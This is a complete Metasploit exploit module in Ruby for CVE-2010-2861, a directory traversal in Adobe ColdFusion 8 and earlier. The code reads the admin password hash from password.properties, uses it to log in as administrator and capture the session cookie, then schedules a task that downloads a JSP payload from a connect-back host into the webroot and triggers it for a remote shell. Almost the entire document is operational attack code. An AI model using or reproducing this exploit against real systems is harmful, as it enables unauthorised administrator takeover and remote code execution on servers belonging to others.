Adobe ColdFusion - Directory Traversal (Metasploit)

##
# $Id: coldfusion_traversal.rb 11974 2011-03-16 01:38:16Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe ColdFusion - Directory Traversal',
			'Description'    => %q{
					This module exploits a directory traversal bug in Adobe ColdFusion.
				By reading the password.properties a user can login using the encrypted 
				password itself. This should work on version 8 and below.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'webDEViL' ],
			'Version'        => '$Revision: 11974 $',
			'References'     =>
				[
					[ 'CVE', '2010-2861' ],
					[ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ],	
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ],		
				],
			'Privileged'   	=> true,
			'Platform'      => ['linux','windows'],
			'Stance'       	=> Msf::Exploit::Stance::Aggressive,
			'Targets'       =>
				[
					[ 'Universal',
						{
							'Arch' => ARCH_JAVA,
							'Payload' => 'java'
						}
					],
				],

			'DisclosureDate' => 'Aug 25 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']),
				OptString.new('URL',   [ true, 'Administrator Directory', '/CFIDE/administrator/' ]),
				OptString.new('CBIP',  [ true, 'Connect Back IP (even when not using reverse shell)', nil ]),
				OptString.new('TRAV',  [ false, 'Location of the password.properties file eg. ../../../../ColdFusion8/lib/password.properties%00en', nil ]),  
			], self.class)

	end
	
	def exploit
	
		ip = datastore['RHOST']
		url = datastore['URL']+"enter.cfm"
		locale = "?locale="
		trav = datastore['TRAV'] || "../../../../../../../../../../../../../../../../../../../../../../lib/password.properties%00en"
		datastore['JSP'] = "wD-"+rand_text_alphanumeric(6)+".jsp"
		datastore['URIPATH'] = rand_text_alphanumeric(6)
		
		print_status("Trying to acheive Directory Traversal...")
		while trav.match(/..\//im)
			res = send_request_raw({
				'uri'     => url+locale+trav,
				'method'  => 'GET',
				'headers' =>
					{
						'Connection' => "keep-alive",
						'Accept-Encoding' => "zip,deflate",
					},
				}, -1)
	
			if (res.nil?)
				print_error("no response for #{ip}:#{rport} #{url}")
			elsif (res.code == 200)
				#print_error("#{res.body}")#debug
				
				if match = res.body.match(/([0-9A-F]{40})/im);
					caphash = $1
					print_status("URL: #{ip}#{url}?locale=#{trav}")
					print_status("Admin Hash: " + caphash)
					break
				else
					#select(nil, nil, nil, 3)
					trav=trav[3..-1]
					print_status("Trav:"+trav)
					
				end
				
			else
				''
			end
		end
		
		if caphash.nil?
			print_error("Could not determine location of password.properties file, Set TRAV option manually")
			print_error("OR ColdFusion is not vulnerable")
			return
		end
		
		keyz = Time.now.to_i.to_s+"123"
		print_status("Time: "+ keyz)
		loghash= OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), keyz, caphash).unpack('H*')[0].upcase
		print_status("Login Hash: "+loghash)
		
		params =  'cfadminPassword='+loghash
		params << '&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F&'
		params << 'salt='+keyz
		params << '&submit=Login'

		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => url,
			'data'  => params
		})

		if (res)
			#print_status("Me want Cookie: "+ res.headers['Set-Cookie'])
			if (res.headers['Set-Cookie'].match(/([A-Za-z0-9]{20,200})/im);)
				session = $1
				print_status("Cookie: #{session}")
			else
				print_error("Error retrieving cookie!")
			end
		else
			print_error("No response received while logging in.")
		end

		print_status("Attempting to automatically detect the platform...")
		##AUTO_DETECT START
		path = datastore['URL'] + 'settings/mappings.cfm'
		res = send_request_raw(
			{
				'uri'    => path,
				'headers' =>
					{
						'Cookie'     => "CFAUTHORIZATION_cfadmin=#{session}"
					}
			}, 20)

		if (not res) or (res.code != 200)
			print_error("Failed: Error requesting #{path}")
			return nil
		end

		if (res.body.match(/.*td *>(.*CFIDE&nbsp;)/im);)
			os = $1
			os.match(/<td [^>]*?>(.*)&nbsp/im);
			os1 =$1
			os1 = os1.gsub("\t", '')
			os1 = os1.gsub("\r\n", '')

			if (os1 =~ /:/i) #haha ;)
				print_status('OS: Windows')
				datastore['SHELL'] = 'cmd.exe'
				os1=os1+"\\"        
			else #(os1 =~ /\//i)
				print_status('OS: Linux')
				datastore['SHELL'] = '/bin/sh'
				os1=os1+"/"
			end
			print_status("Web Directory:"+os1)
		end

		##AUTO_DETECT END

		res = send_request_raw(
			{
				'uri'     => "/CFIDE/administrator/scheduler/scheduleedit.cfm?submit=Schedule+New+Task",
				'method'  => 'GET',
				'headers' =>
					{
						'Cookie'     => "CFAUTHORIZATION_cfadmin=#{session}",
					}
			}, 25)

		if (res.body.match(/<input name="StartTimeOnce".*?value="(.*?)">/im);)
			start_time = $1
		end

		if (res.body.match(/<input name="Start_Date".*?value="(.*?)" id="Start_Date">/im);)        
			start_date = $1
		end
		#else FAIL!
		comb = start_date + start_time
		fmt = "%b %d, %Y%I:%M %p"

		comb = ((DateTime.strptime(comb,fmt)).advance :minutes =>-19)
		t = comb.strftime("%b %d, %Y")
		t1 = comb.strftime("%I:%M %p")
		#t=(Time.now).strftime("%b %d, %Y") #can't use local time
		#t1=(Time.now + 5).strftime("%I:%M:%S %p")
		params =  'TaskName=wD-'+rand_text_alphanumeric(6)
		params << "&Start_Date=#{t}" #Mar+12%2C+2011
		params << '&End_Date=&ScheduleType=Once'
		params << "&StartTimeOnce=#{t1}" #6%3A40+PM
		params << ' &Interval=Daily&StartTimeDWM=&customInterval_hour=0&customInterval_min=0&customInterval_sec=0&CustomStartTime=&CustomEndTime=&Operation=HTTPRequest'
		params << '&ScheduledURL=http%3A%2F%2F'+datastore['CBIP']+":"+datastore['SRVPORT']+"/"+datastore['URIPATH']
		params << '&Username=&Password=&Request_Time_out=&proxy_server=&http_proxy_port=&publish=1'
		params << '&publish_file='+os1+datastore['JSP']
		params << '&adminsubmit=Submit&taskNameOrig='
		
		res = send_request_raw(
			{
				'uri'     => "/CFIDE/administrator/scheduler/scheduleedit.cfm",
				'method'  => 'POST',
				'data'    => params,
				'headers' =>
					{
						'Content-Type'   => 'application/x-www-form-urlencoded',
						'Content-Length' => params.length,
						'Cookie'     => "CFAUTHORIZATION_cfadmin=#{session}",
					}
			}, 25)
		#print_error("#{res.body}")
		super
	end	
		
	def on_request_uri(cli, request)
		p = regenerate_payload(cli)
		#print_status("SHELL set to #{datastore['SHELL']}")
		#print_status((p.encoded).to_s)
		
		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response(cli, p.encoded, { 'Content-Type' => 'text/html' })

		res = send_request_raw(
			{
				'uri'     => "/CFIDE/"+datastore['JSP'],
				'method'  => 'GET',
			}, 25)
		# Handle the payload
		handler(cli)
	end
end